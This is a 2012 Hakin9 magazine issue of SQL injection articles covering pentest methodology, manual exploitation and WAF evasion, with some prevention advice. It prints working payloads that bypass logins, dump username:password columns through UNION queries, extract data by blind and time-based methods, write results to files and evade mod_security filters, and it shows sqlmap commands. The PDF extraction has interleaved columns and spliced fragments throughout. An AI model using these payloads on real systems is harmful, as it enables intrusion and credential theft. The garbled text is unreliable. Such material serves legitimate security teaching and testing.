SQL Injection
SQL Injection
01/2012 (01)
Dear Readers,
We are giving into your hands the first issue of Hakin9 On Deman. We
hope you will enjoy it. In this type of Hakin9 we would like to collect for
you some special articles and put them together. What is important is
team
that our readers create this magazine. Yes! Indeed. If you have some
Editor in Chief: Grzegorz Tabaka
ideas what topic should be presented in the next issue, please do not
grzegorz.tabaka@hakin9.org hesitate to write to us and share with it.
Managing Editor: Monika Łęczycka
In this particular issue you will find lots of interesting information
monika.leczycka@software.com.pl about SQL. The authors who prepared those amazing, absorbing
Editorial Advisory Board: Board: Rebecca Wynn, articles for this issue are very experienced, resourceful, are experts
Mat Jonkman, Donald Iverson, Michael Munt, Gary S. Milefsky, and should be proud of themselves. We are sure that you will enjoy
Julian Evans, Aby Rao
reading.
DTP: Ireneusz Pogroszewski In the first issue Of Hakin9 On Demand you can read few articles
Art Director: Ireneusz Pogroszewski about SQL. One of them is written by Dmitry Evteev. The article shows
ireneusz.pogroszewski@hakin9.org how endangered we are in our world when it comes to the information
Proofreaders: Nick Baronian, Dan Dieterle, Bob Folden, Kelly systems. This article tells you what is classic SQL Injection, Blind SQL
Kohl, Michael Munt, Aby Rao, Jeffrey Smith Injection, Error-Based Blind SQL Injection, Double Blindness.
Top Betatesters: Keith Applegarth, Hammad Arshed, Ayo Tayo- The second article is written by Michael Thumann, Frank Block,
Balogun, Manuel Boros, Amit Chugh, Dan Dieterle, Gregory Timo Schmid. It concers the concept of SQL Injection in Business
Gallaway, M.Younas Iran, David Jardim, Michal Jachim, Eder
Lira, Roh MacPherson, Matteo Massaro, Rissone Ruggero, Purposes. By reading it, you can find out how SQL Injection is detected,
Antonio Saporita, Daniel Sligar, Jeffrey Smith, Arnoud Tijssen, how to take care of database, how exploit SQL Injection and get around
Tom Updegrove, Dan Walsh, Robert Wood, David von Vistauxx
Web Application Firewalls.
Special Thanks to the Beta testers and Proofreaders who helped In the article written by Srinivasa Rao SQL Queries, exploiting
us with this issue. Without their assistance there would not be a
Hakin9 On Demand magazine. MySQL databases, prevention techniques and many other details are
included. Do you know that the attacker can inject some queries that
Senior Consultant/Publisher: Paweł Marciniak
the database server responds to him and gives whatever he wants?
CEO: Ewa Dudzic
You may find out by reading it.
ewa.dudzic@hakin9.org
Moreover in this issue you will find article with the title SQL Injection:
Production Director: Andrzej Kuca
A Case Study. The authors of it – Stephen Bono and Ersin Domangue
andrzej.kuca@hakin9.org
show how the attack is planned, bypassing the Log on, fingerprinting
Publisher: Software Press Sp. z o.o. SK
the SQL server and more. This is essential reading because it shows
02-682 Warszawa, ul. Bokserska 1 the mitigation, security practices which are very helpful.
Phone: 1 917 338 3631
www.hakin9.org/en
From those articles you can find out what SQL Injection is and how
danger it is. Do not hesitate to read them. You will find explanation for
many important things.
Whilst every effort has been made to ensure the high quality of
the magazine, the editors make no warranty, express or implied,
concerning the results of content usage. Do not hesitate! Check the new idea of Hackin9 right now.
All trade marks presented in the magazine were used only for
informative purposes.
DISCLAIMER!
The techniques described in our articles may only
be used in private, local networks. The editors
hold no responsibility for misuse of the presented
techniques or consequent data loss.
4 01/2012
CONTENTS
www.hakin9.org/en 5
SQL INJECTION
SQL Injection
Testing for Business Purposes
SQL injection attacks have been well known for a long time and many
people think that developers should have fixed these issues years ago,
but doing web application pentests almost all the time, we have a
slightly different view. Many SQL injection problems potentially remain
undetected due to a lack of proper test methodology, so we would like
to share our approach and experience and help others in identifying
these issues.
S
QL injection vulnerabilities arise when untrusted helpful for summarizing the important steps to discover
input is incorporated into a SQL query within all SQL injection vulnerabilities within an application.
the source code and they are not limited to web Figure 1 shows a very basic attack tree for uncovering
applications. Every server application that processes SQL injection.
SQL queries can be vulnerable to this kind of attack and
should be tested. SQL injection vulnerabilities can be Detecting SQL Injection
grouped into the following types: As described above, SQL injection vulnerabilities exist
in different types. Each of these types requires different
Error-based SQL injection attack strings and detection mechanisms, and usually
When testing for the vulnerability the server responds a high degree of manual testing for an extensive
with a database error message like “syntax error” detection.
To detect SQL injections, you have to test with some
Blind SQL injection simple signatures like a single apostrophe (‘), two single
During the test the server either doesn’t reveal any apostrophes (‘’), arithmetic expressions or database
error message at all or responds with a customized specific procedures.
standard error message respectively just a change in Error prone vulnerabilities which react with an error
the response behavior like showing another web page. message on a single apostrophe are very simple to
As long as one can notice a different behavior of the detect. The best way to verify a successful injection is
application, we call this “Partially Blind SQL Injection”, in inserting a single apostrophe which leads to an error
case no changes in the response are detected we talk message. Afterwards insert two single apostrophes, if
about “Totally Blind SQL Injection”. the second injection doesn’t return any error messages,
it is very likely that a SQL injection vulnerability was
Client Side SQL injection found. In Oracle databases you would insert for example
SQL injection vulnerabilities are not limited to server “test’” in a search box and you get an error message
applications. Clients that store sensitive data in a local returned. After inserting te’||’st you get all search
database can be vulnerable to SQL injection attacks as results matching for the string test. If the database
well, when untrusted input is processed. Also HTML5 expects that an integer is supplied, apostrophes always
implements concepts for client side databases like result in an invalid query, no matter if they would be
WebSQL (this specification is deprecated) and “Indexed used with string concatenation or not. In such a case
Database API” to work with local databases within the you could use some arithmetic calculations to verify that
web browser. they were evaluated by the database. If the id 47 and
As already mentioned a proper test methodology 58-11 results in the same response, it is very possible
can help to improve the rate of findings, e.g. Bruce that they both produced 47 as a result of a calculation
Schneiers Attack Tree Model [1] comes to mind as by the database.
6 01/2012
SQL Injection Testing for Business Purposes
In Blind SQL injections you could use the same over HTTP with the server, URL encoded strings can
techniques, but you won’t get any error messages be helpful. Try %27 instead of “’ “or several iterations like
telling you what happened on the database. Instead you %2527, %252527, .. (%25 is the URL encoded value of the
may have to use boolean expressions to manipulate the percent sign). Especially on numeric comparisons you
results. For example inserting a “’ OR ‘’=’” should lead could use the lower or greater sign instead of the equal
to a result, whereas “’ AND ‘x’=’” doesn’t return anything sign. An “OR 4<8” should also be evaluated to true like
(or only a very short response like no datasets found). the standard signatures “OR 1=1” (which sometimes is
Because Totally Blind SQL injections normally wouldn’t filtered).
affect the response in any way, you have to detect them Choosing the right tool chain is crucial for detecting
by measuring the response time depending on the test and exploiting SQL injections. For example the basic
signature. On Oracle databases a request with ’||utl_ requirement for all injections is the complete control
http.request(‘http://192.168.66.77/’)||’ should take over the input values. A fat client or Ajax application
much more time to return as “’||’”. If the response time which is communicating with a server may have some
is nearly the same, you should try other IP addresses validation mechanisms, but the server itself accepts
or hostnames. A MySQL database supports a SLEEP all input strings. In such a case it’s important to send
command since version 5.0.12. If a you have to wait the requests using a proxy or something similar,
for a response 20 seconds after you had injected which allows to send every modified value. One of
’ UNION SELECT SLEEP(20)-- you would automatically know the more powerful tools is the BurpSuite web proxy
that you have found a vulnerability and that the used from Portswigger [2]. The BurpSuite acts as a proxy
database is a MySQL database with version 5.0.12 or between the web browser and the web server, logging
higher. all requests and responses. In addition to an automated
Some times you will notice that the application (or scanner it includes a repeater and a kind of automated
some intermediate component) filters for characters repeater (called intruder). With the repeater you are
like an apostrophe or an equal sign. In such a case able to send any inputs without restrictions on the client
you should try different encodings and combinations of side. The intruder allows to iterate over multiple attack
encodings to bypass such filtering. If you communicate strings and compare the results.
www.hakin9.org/en 7
SQL INJECTION
In general every tool can be used which does not Respectively, Oracle supports an HTTP request
prevent you from sending malicious data. Automated function, which is expected to generate an delay if
tools like scanners or injection frameworks like sqlmap pointed to a non existing URL:
or sqlninja can help to find so called low hanging fruits,
but they will never provide the same results as extensive utl_http.request(‘http://192.168.66.77/’)
manual testing.
Alternatively, the following function may be useful:
Take Care of the Database
There are some database specifics, every pentester DBMS_LOCK.SLEEP(5)
should be aware of, when testing for and exploiting
SQLi vulnerabilities. Besides the different string Using database specific test and exploit signatures will
concatenation variants already covered above, there also help to identify the used database, which makes
are some other specifics that have to be considered all further tests much easier.
and might turn out useful in some circumstances. Another important difference is the missing MS-SQL
For example with Oracle Databases, every SELECT xp_cmdshell on other DBMSs. However, there were
statement needs a following FROM statement even some talks in the past (e.g. at Black Hat Europe 2009
if the desired data is not stored within a database. So by Bernardo Damele A. G. the author of sqlmap) about
when trying to extract e.g. the DB username using an the possibility to execute code with MySQL respectively
UNION SELECT statement, the DUAL table may be PostgreSQL under certain circumstances (sqlmap
utilized, which should always be available. Another supports upload and execution of Metasploit shellcode
point, if dealing with MySQL, is the possibility to for MySQL and PostgreSQL). The Table 1 summarizes
simplify the classic payload useful SQL functions.
8 01/2012
SQL Injection Testing for Business Purposes
the SQL query doesn’t get broken and ideally prints If dealing with a MySQL database, using the previously
the desired information. However if the payload is mentioned attack string might also (and did already in
injected into a string, the previously covered string practice) help to deceive some filters:
concatenation gets useful. So with a similar query, the
attack string could look like: ‘ or 1 --
‘|| (SELECT user FROM DUAL) ||’ It is also very likely, that one single quote doesn’t
cause any reaction, as of false positive prevention. If
The previous examples depend on any form of it does, the following variation could also help to get
results from the application. In case the application through the WAF:
doesn’t print any results of the SQL query, it may
still be possible to gather database information if the abc’def
application behavior can be influenced.
Given a registration form, where the supplied In general, using short test strings (and some
username gets checked for existence in the database, brainpower) might help to not trigger any filtering rules.
the used SQL query might look like: If unsure whether a WAF is in place or not, it
is advisable to first verify its existence with some
SELECT username FROM users WHERE username = ‘$NEW_ fingerprinting tools. One of them is wafw00f [3] which
USERNAME’; supports many different vendors. Another tool is
tsakwaf [4], which supports less vendors but includes
This kind of vulnerability is a boolean-based blind additional features for WAF circumvention like encoding
SQLi. It is not possible to print any SQL query results, capabilities for test signatures, that might be useful for
but the application logic can be exploited. So the SQL injection testing, when a WAF is in place.
payload in this case might be:
Extract the data
‘|| (SELECT CASE WHEN (SELECT ‘abcd’ FROM DUAL) = If you want to extract some data from a database
‘abcd’ THEN ‘new_username’ else ‘EXISTING_USERNAME’ END you first need to gather knowledge about the internal
FROM DUAL)||’ structure of the database.
One of the first steps (after determining the database
Or in pseudo code: type) is enumerating the available tables and the
corresponding columns. Most database systems
If abcd equals abcd have a meta database called information_schema. By
return new_username querying this database it is possible to get information
else about the internal structure of the installed databases.
return EXISTING_USERNAME For example you could get the tables and their
corresponding columns in MS SQL and MySQL by
Obviously this payload does not provide any useful injecting SELECT table_name, column_name FROM information_
information by now, but it illustrates the possibility schema.columns. Oracle databases have their own meta
to make boolean checks on strings which will be tables, so you have to handle them differently. For
helpful later on during/for extracting real data from the getting the same output in Oracle, you have to query
database. the all_tab_columns table (or user_tab_columns if you only
want to search in the currently selected database). If the
How to get around Web Application Firewalls found vulnerability only allows to receive a single column
In some situations, the application might filter specific (or if it is too complicated to identify two columns in the
attack strings or a Web Application Firewall (WAF) is server response) you could concatenate the columns
deployed in front of the webservers/applications. In to one single string, e.g. in Oracle: SELECT table_name||’:
these cases, being creative is essential. For example, ’||column_name FROM all_tab_columns.
instead of injecting A much more frequent problem you have to deal with
is that only the first row of a result-set is returned. To
‘ or ‘a’=’a get all table and column names you have to iterate over
the results. It is helpful to determine the expected row
we already circumvented a WAF by supplying a slightly count first by injecting a SELECT COUNT(column_name) FROM
modified version of this payload: all_tab_columns. Iterating over the results in MySQL is
simple: SELECT table_name, column_name FROM information_
‘ or ‘a=’=’a= schema.columns LIMIT $start,1 (where $start denotes the
www.hakin9.org/en 9
SQL INJECTION
current offset in the result-set). MS SQL doesn’t support a binary search with the procedures ASCII and
to specify ranges for the results. This is why you have SUBSTR.
to combine several select statements to get the same For example on Oracle databases you would
result: “SELECT TOP 1 table_name, column_name FROM (SELECT get the first character of an username by injecting
TOP $start table_name, column_name FROM information_ ASCII(SUBSTR(username, 1,1)) into the where clause.
schema.columns ORDER BY table_name DESC) ORDER BY table_ To do a binary search on ‘Admin’ you would do
name ASC(where $start denotes the row number you want ASCII(SUBSTR(username, 1, 1)) < 128 which results in true.
to extract). The next value to compare with is 64 (which is right in
If you are confronted with a large database, it is the middle of 0 and 128). This time the query would fail
always easier to search for interesting column names because the ascii value of ‘A’ is 65. Now you compare
instead of tables. So you can combine the mentioned with 96 (the middle of 64 and 128) and so on, until
query statements with where clauses to search for you reach 65. After that you will treat the remaining
columns which contain ‘pass’ or ‘user’. characters in the same way.
If the found vulnerability is a blind or totally blind The following excerpt is an output from sqlninja
SQL injection, you have to use boolean expressions (which will be covered again later on), which uses this
to extract some data. One approach is getting the technique in an automated way on a totally-blind SQLi
database username (or any other data) by doing vulnerability: Listing 1.
[ ... ]
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 55 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 67 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 73 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 76 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 77 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------
Here he found the first character: N
10 01/2012
SQL Injection Testing for Business Purposes
Essential Tools essential. There are various tools that may help
As the manual extraction of data can be quite time identifying and exploiting SQLi vulnerabilities. One of
consuming, the usage of automated tools becomes them is sqlmap[5], which concentrates on blind SQL
www.hakin9.org/en 11
SQL INJECTION
Table 2. CWSS Metric Groups The next command enumerates all available table
Metric Group Factors names of the found databases without the need
Base Finding Group • Technical Impact (TI)
to specify the database names as all gathered
• Acquired Privilege (AP) information are stored in a local progress file and
• Acquired Privilege Layer (AL) automatically used for all further attacks:
• Internal Control Effectiveness (IC) (This feature becomes important as soon as the
• Finding Con�dence (FC) amount of already collected data gets vastly large.)
Attack Surface Group • Required Privilege (RP)
• Required Privilege Layer (RL) sqlmap -u “http://172.16.141.128/vulnweb/SQLInjection/
• Access Vector (AV)
Login.aspx” --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTC
• Authentication Instances (AI)
• Level of Interaction (IN) vfGeXKasVQXuFgQtgqym\&txtUserName=\&txtPassword=\&Button1
• Deployment Scope (SC) =OK --dbms=mssql --tables -p txtUserName
12 01/2012
SQL Injection Testing for Business Purposes
References
• Schneier, Bruce (December 1999). „Attack Trees” . Dr Dobb’s Journal, v.24, n.12. [1]
• BurpSuite Pro, http://www.portswigger.net/ [2]
• The Truth about Web Application Firewalls, http://troopers09.org/content/e644/e649/TROOPERS09_gauci_henrique_web_ap-
plication_�rewalls.pdf [3]
• Tsakwaf, http://www.insinuator.net/2011/09/tsakwaf-0-9-1-released/ [4]
• Sqlmap, http://sqlmap.sourceforge.net [5]
• Common Weakness Scoring System, MITRE Corporation, http://cwe.mitre.org/cwss/ [6]
• SQL Injection Attacks and Defense, Syngress, ISBN-13: 978-1597494243 [7]
• The Web Application Hacker’s Handbook 2nd Edition, Wiley, ISBN-13: 978-1118026472 [8]
started, Meterpreter enables system level access a weakness is scored, the higher is the associated
and can be used (depending on the rights of the criticality. Regarding the formula and the used factors
database server process respectively the patch status and weights, the CWSS allows a precise, comparable,
of the underlying system) to extract system level data and reproducible rating of vulnerabilities in the context
and utilize the database server as a jump host to an of web application pentests. The rating will also help the
internal network or to exploit a local privilege escalation application owner to prioritize the findings and use the
vulnerability to gain administrative rights (Listing 2). limited resources for the most critical issues.
An attacker uses an existing SQL injection vulnerability
to upload and execute the meterpreter payload, then Conclusion
added a route entry within metasploit, making the Bringing the mentioned steps of the methodology
internal network of the SQL server accessible through together, you can follow a small checklist to identify
the meterpreter session and is now able to scan and all SQL injection issues in an application and help
attack systems behind the server, which would normally the application owner to mitigate the most severe
be not reachable from the attacker side. problems. But every shortening of the test steps will
have a negative influence on your success rate and the
Rating of the �ndings acceptance of the results:
After doing all the testing stuff, there’s one important step
missing, at least if we are talking about a professional • Identify all input vectors
pentest. The criticality rating of findings is a mandatory • Test all input vector with a set of test signatures
task in the course of a pentest. On the one hand, the • Identify the database
comparative value of the rating must be guaranteed, on • Exploit the SQL injection vulnerability to proof the
the other hand, the rating must be appropriate for the existence and avoid any discussions
environment which is in scope of the pentest. Based • Rate the criticality of the findings based on a metric
on these requirements, we propose the Common
Weakness Scoring System [6] as an appropriate metric We are using this methodology since years and
for the rating of web application related security findings receive a lot of positive feedback from our customers.
like SQL injection. Writing about SQL injection in an article obviously
The design considerations of CWSS include the can’t cover all relevant details, so we would like to
applicability for scoring processes as well as the recommend two books, that contain more useful
integration of stakeholder concerns or environmental information and are “must reads”, if you want to work
requirements. These considerations result in the seriously in the field of web application pentesting. The
definition of three different metric groups which each first book [7] covers all aspects of SQL injection and the
contain different factors: Table 2. second one [8] is the “web hacking bible” written by the
Different entities may evaluate separate factors author of the BurpSuite.
at different points in time. As such, every CWSS
factor effectively has “environmental” or “temporal”
characteristics. Different pre-defined values can be
assigned to each factor and each factor also has a
default value. The different values for the single factors
are explained in detail in Table 3. CWSS uses also a
reliability factor, so the factor Finding Confidence is
explained as an example . MICHAEL THUMANN, FRANK BLOCK,
All factors will be combined using a formula, which
results in a value between 0 and 100. The higher TIMO SCHMID, ERNW GMBH
www.hakin9.org/en 13
SQL INJECTION
SQL Injection
This article gives you a deeper idea of how to hack websites with SQL
Injection vulnerability and how to prevent SQL injection attacks on
websites. In this, we will see the manual injection techniques and secure
coding practices in order to provide a practical approach of both attacks
and countermeasures.
S
QL injection is a code injection technique SQL Queries
that exploits a security vulnerability occurring A SQL query allows a user to interact with the database.
in the database layer of an application. The Several things can be done using SQL Queries.
vulnerability is present when user input is either A Sample SQL Query:
incorrectly filtered for string literal escape characters
embedded in SQL statements or user input is not SELECT * FROM users
strongly typed and thereby unexpectedly executed. WHERE username = $_GET [‘username’]
In simple words, an attacker can inject some queries AND password = $_GET [‘password’]
in such a way that the database server responds to him
and gives whatever he wants. This query tells the database to find rows in the users
table where the values in the username and password
Web application Architecture columns equal the values entered by the user.
A website receives an input from the user and produces
the response as output. It can be logging you in to your SELECT * FROM users
account or it may show us an “invalid input” message if
you are on a login form. A server is a place for storing This piece tells the database to find the rows in the table
information. A server contains one or more databases users. * represents all the columns in the table (Figure 2).
which produces the data dynamically (Figure 1).
Exploiting Databases with Simple SQL
Injection
The following is the vulnerable piece of code which
allows an attacker to insert his malicious SQL strings to
gain access to the website.
14 01/2012
SQL Injection
When we insert the above string in username and We already know that the number of columns is 4.
password fields, the query becomes as follows and
returns true from both the fields which takes the user Checking for MySQL version
inside. Depending on the results we got in the previous step, we
will move further. Let us assume that it has displayed 3
SELECT * FROM users WHERE username=’x or ‘x’=’x’ on the screen. So to find out the version, we will replace
and password=’x’ or ‘x’=’x’; the number 3 with version() or @@version.
www.hakin9.org/en 15
SQL INJECTION
FOR MySQL < 5 This may not work sometimes if MAGIC QUOTES
In this case, we need to guess the table names and column is ON. It means admins won’t allow us to access
names. Common table names are: admin,login,user,users the table names directly by filtering the quotes.
,member,members Common column names are: userid,us So, we need to use the ta blename in HEX
ername,password,pwd,pass etc. So our query looks like format.
We can convert our clear text strings into HEX
http://www.site.com/gallery.php?id=3 union all format from this site http://www.swingnote.com/tools/
select 1,2,3,4 from admin— texttohex.php.
Now in our case, the table name “users” becomes
Now if it displays any number on the screen, it means – 7573657273. And our query becomes:
that the table name “admin” exists. So we can use the
displayed number we will write a new query. http://www.site.com/gallery.php?id=3 union all select 1,2,
group_concat(column_name),4 from information_schema.columns
http://www.site.com/gallery.php?id=3 union all where table_name=’0x 7573657273’—
select 1,2,username,4 from admin—
0xrepresents HEX format. It tells the database that we
If we get an error,it means that the column doesn’t are passing a string in HEX format.
exist and we need to try with some other column
name. If the column exists, it displays the username on Extracting Data
the screen. So similarly, we can retrieve the password. Let’s say that we found columns, username and
password. Now to complete the query we put them all
http://www.site.com/gallery.php?id=3 union all together using concat():
select 1,2,password,4 from admin—
http://www.site.com/gallery.php?id=3 union all select 1,2
FOR MySQL>5 group_concat(username,0x3a,password),4 from users—
In the case of MySQL databases having version greater
than 5, we need to know about information_schema. It is a 0x3ais the HEX form of column( : )
default database which holds metadata. It contains the Now we will find the data from the table “users” on the
table names and column names. So we use information_ screen as
schema to get the table names and column names rather
than guessing. adminuser:adminpass (Example)
The above query gives us all the table names available http://www.site.com/gallery.php?id=3 and 1=2
in information _ schema.
1=2 is always false, so the page should not load
Column names normally. It means, some content from the site will
To get the column names the method is same, we use miss. If it happens the site is Vulnerable to blind SQL
table_name and information_schema.tables Injection.
16 01/2012
SQL Injection
www.hakin9.org/en 17
SQL INJECTION
String query = “SELECT * FROM users WHERE user_name = “ Cleaning and Validating Input
+ request.getParameter(“username”); This is very important in developing a web application.
‘ quote plays a major role in SQL Injection attacks.
try { A developer should replace the single quotes with
Statement statement = connection.createStatement( … ); possible double quotes in order to avoid the confusion
ResultSet results = statement.executeQuery( query ); on the database.
}
Salts and Hashes
The above code is a sample vulnerable code which Encrypting the sensitive data is one more major
allows an attacker to execute his malicious input defence against protecting data in a database. For
to get results from the database. The problem in items such as passwords, the user’s password can be
the above code is that the parameter username is stored as a “salted hash”. What happens is that when
directly appended to the actual query without any a user creates a password, a randomly generated “salt”
checking. value is created by the application and appended to the
password, and the password-and-salt are then passed
Using PARAMETERIZED queries through a one way encryption routine. The result is
a salted hash which is stored in the database along
In the above case, a developer should use a with the clear text salt string. The value of a salted
parameter instead of injecting the values directly hash is such that a dictionary attack will not work as
into the command. The attack above would not have each dictionary would have to be rebuilt appending the
been possible if parameterised queries had been various salt values and re computing the hash values
used. for each item. While it is still possible to determine
the password by brute force, the use of the salt (even
String usr = request.getParameter(“username”); though it is known) greatly slows down the process.
String query = “SELECT * FROM users WHERE user_name = ? “; The second advantage of the salt is that it masks any
PreparedStatement pstmt = connection.prepareStatement( query ); situations where two independent users happen to use
pstmt.setString( 1, usr); the same password, as the salted hash value for each
ResultSet results = pstmt.executeQuery( ); user would be different if given different salt values.
Thus use of salts and hashes greatly protects sensitive
In the above case, even if the attacker passes an SQL credentials like usernames and passwords.
string ( x’ or ‘x’=’x ) as we have seen in simple SQL
Injection, it will not allow an attacker to get in, because Least Privilege Database account
in the previous case, it is directly appended to the Running an application that connects to the database
query. This time, the entire string will be checked and if using the database’s administrator (DBA) account has
there is anything like x’ or ‘x’=’x in the database, then the potential for an attacker to perform almost limitless
only the attacker will be able to login which is almost commands with the database.An attacker can do
impossible. anything that an administrator can do. So a developer
should minimize the privileges on every database
Using Stored Procedures account. A Developer should make sure that accounts
Use of stored procedure is similar to parameterized that only need read access are only granted read
queries and provides safety if it is used in a safe access to the tables.
manner. If access to the data in SQL Server is only If it is needed to adopt a policy where we use stored
ever permitted via stored procedures, then permission procedures everywhere, and don’t allow application
does not need to be explicitly set on any of the tables. accounts to directly execute their own queries, then a
Therefore, none of the tables should ever need to be developer should restrict those accounts to only be able
exposed directly to outside applications. For an outside to execute the stored procedures they need without
application to read or modify the database, it must granting them any rights directly to the tables in the
go through stored procedures. Even though some database.
stored procedures, if used incorrectly, could potentially
damage the database.
This is one of the safest techniques to protect our
web applications. If we take an example of a website SRINIVASA RAO
having passwords, they will be always inside the Srinivasa Rao is the administrator of http://
database but will not be exposed to outside at any www.hackinginception.com where he writes hacking articles
cost. for beginners. He is a guest author at www.101hacker.com.
18 01/2012
���������������������� �����������������������
� � � � � � � � � � � � � � � � ���������
����������������������
������������������������
SQL INJECTION
Advanced
SQL Injection in the real world
These days, most information security experts are well aware of almost
all the classes of typical threats and vulnerabilities of information
systems. But so are hackers. This means that the information system
properties, which an attacker can leverage to harm the system owner
interests, have become common knowledge.
F
ortunately enough, quite a few public resources • Classical SQL Injection
provide practical techniques for protecting • Blind SQL Injection
information systems, as well as separate • Classical Blind SQL Injection
applications. In the field of web application security the • Error-Based Blind SQL Injection
most prominent communities are OWASP and WASC. • Double Blind (or Time-Based) SQL Injections
However, along with the development of such
user-oriented projects, the reverse trend aiming to Let us discuss each technique in more detail.
find ways of hacking a database also evolves. With Considering that exploitation of SQL Injection
hackers constantly improving their skills and global strongly depends on the Structured Query Language
expansion of web technologies that require database peculiarities, the examples we use in this article chiefly
usage, researchers faced a challenge and started to apply to the widely-spread database management
investigate the problem. This is how the term SQL system MySQL.
Injection appeared. With time, this vulnerability became
well-known, bringing fun to some and trouble to others. Classic SQL Injection
SQL Injection is a hacking technique that enables A classic approach to exploitation of SQL Injection
hacker to bypass firewall and attack database. In this vulnerabilities primarily consists in combining two SQL
method, the parameters that web application sends to queries in order to obtain extra information out of a
the database are modified to affect the query executed by certain table/file. A possibility of classic SQL Injection
SQL application. Malicious data can be injected through all attack facilitates obtaining useful information. The
available means of interaction with the SQL application. attack is conducted by means of the union operator
If the injection completes successfully, hacker may be or by SQL query separation (by semicolons). In case
able to gain access to: when a return page body contains only one entry from
the table, line-by-line reading technique is used. Below
• classified data and/or system configuration settings, is an example of the query for an attack against the
which can be used to develop the attack vector (for MySQL database: Listing 1.
example, modified SQL query may return hashed For other databases, queries will be slightly different.
user passwords, which can later be brute-forced); However, it’s not the query itself that does the trick.
• other systems via the database host computer (this There are two main things to keep in mind.
can be achieved by using database procedures
and 3GL programming language extensions that • First of all, some databases (for instance, Oracle,
support interaction with operating and file systems). MSSQL, PostgreSQL, and others) support query
separation by semicolons, thus allowing one not
There exist several SQL Injection exploitation only to obtain data from a table, but to edit the
techniques: content of the table by means of, for example,
20 01/2012
Advanced SQL Injection in the real world
INSERT-type operators. By the way, the above ?/id=1 limit 0 union select concat(login,password) from
PostgreSQL example will work equally well with users
the query separation used instead of the union ?/id=1 union select concat_ws(‘:’,login,password) from
operator. users
• Secondly, unlike MySQL, a number of databases do
not perform implicit type conversion. For instance, Other databases distinct from MySQL might use other
Oracle is one of such databases, so one should symbols for concatenating data, for example, ‘&’, ‘||’, ‘+’.
use explicit type conversion or the magic word null If there are still some “remnants” of a “good” SQL
to ensure correct processing of an SQL query. query left after the injection has been performed, e.g.
“limit…” or “order by…” constructions, these remnants
It should be mentioned that obtaining data from a are removed by means of the following comments:
large table using the line-by-line reading technique
takes quite a lot of time. So, when DBMS queries are ?/id=1 union select login,password from users--++
executed by a privileged user (for example, file _ priv ?/id=1 union select login,password from users/*++
for MySQL), the SELECT query result can be output …
into the file:
It’s not just a mere coincidence that the above
?/id=1 limit 0 union select login,password from users examples contain two characters ‘++’. Data transferred
into outfile ‘/tmp/users’ by the GET method will be converted into spaces
or when the web server sends them to the database.
RFC will interpret the resulting query as an absolutely
?/id=1 limit 0 union select login,password from users correct one.
into dumpfile ‘/tmp/users’ Everything is plain and simple. Or, rather, it was plain
and simple until rugged administrators started using
In fact, once the SQL Injection exploitation provided various security filters (aka WAF, Web Application
you with a possibility to work with a file system, Firewall) to protect vulnerable web applications. Such
you’re a footstep away from a possibility to execute solutions are mostly based on signature analysis and
commands on the server. Besides, industrial this is their main flaw. The SQL features and a huge
databases, such as MSSQL, have the command variety of databases in many cases allow bypassing the
line interaction interface embedded into the DBMS filtration of the incoming data.
architecture. For that reason, according to the general For example, below is a universal vector of bypassing
terminology, SQL Injections belong to the class of mod_security protection against SQL Injection in default
Command Execution vulnerabilities. rules:
It’s worth noting that if data is injected into a query
of the INSERT/UPDATE/DELETE type with MySQL /?id=1/*!limit 0 union select concat_ws(0x3a,
being the database in consideration, it is impossible to login,password)from users*/
output the results to a file by means of subqueries due /?id=1/*!12345limit 0 union select concat_ws(0x3a,login,
to database restrictions. password)from users*/
For cases when data is injected into an SQL query ...
executed in a table with limited number of columns, it is
common to use data concatenation functions, such as It really works because when MySQL encounters a
concat() and concat_ws(): statement containing /*!bla-bla*/ and /*!12345bla-bla*/,
www.hakin9.org/en 21
SQL INJECTION
it will interpret the bla-bla as an SQL code. As for the /?id=1 and (select (@v:=password)from users limit 1,1)
case of 12345, MySQL compares this number with its union select @v--
own version. If the running version number is higher,
the SQL query will be executed. Meanwhile, the etc.
“sensible” mod _ security, before comparing the query However, an SQL Injection does not always provide
with its signatures from the SQL Injection vulnerability a possibility to influence the data returned by the
base, gets rid of extra data in the incoming query, application. When no such modification is possible, the
namely, of the /**/ -type comments. vulnerability is called blind. It’s worth mentioning that
Another example of a “self-made” PHP filter is it is various blind types of the SQL Injection that allow
provided below. This filter was encountered in real life: bypassing many filters (including WAF).
Yet, the following queries caused no reaction at all: Listing 2. Blind SQL Injection
22 01/2012
Advanced SQL Injection in the real world
• Data is injected into two distinct SELECT queries For example, SQL Injection vulnerabilities are very
which, in their turn, retrieve data from tables with a common for numeric application parameters. Depending
different number of columns. on the number specified, the web application returns
• Request concatenation is filtered (e.g., by WAF). different content. Thus, by comparing the numbers
with the content and mapping them with the characters
An example of PHP code vulnerable to the Blind SQL being matched, one can easily read the table data. It
Injection is provided Listing 2. can be illustrated in the following way:
The vulnerability can be exploited in the following
way: A news title 111 – the identifier in the parameter
id=3245 – a character being matched 0
/?id=1 and 555=if(ord(mid((select pass from users limit A news title 222 – the identifier in the parameter id=2456
0,1),1,1))=97,555,777) – a character being matched 1
A news title 333 – the identifier in the parameter id=4562
If the Users table contains the Pass column and the – a character being matched 2
first character of the first entry in this column equals
97 (character a), then MySQL will return TRUE and etc.
the request will be true. Otherwise, MySQL will return Below are some examples of queries used for the
FALSE, and for the above code, the page will display attack (for example, for accurate identification of the
an error message. first character in an MD5 hash): Listing 3.
It goes without saying that the approach can be a bit Keep in mind that this method has restriction for the
simplified in a few ways. One way is to use a binary length of an HTTP request (the restriction is distinct
tree. Another, even simpler way is to get use of the for different web servers). In all other respects, the
design of the application. approach is quite efficient in cases when easier
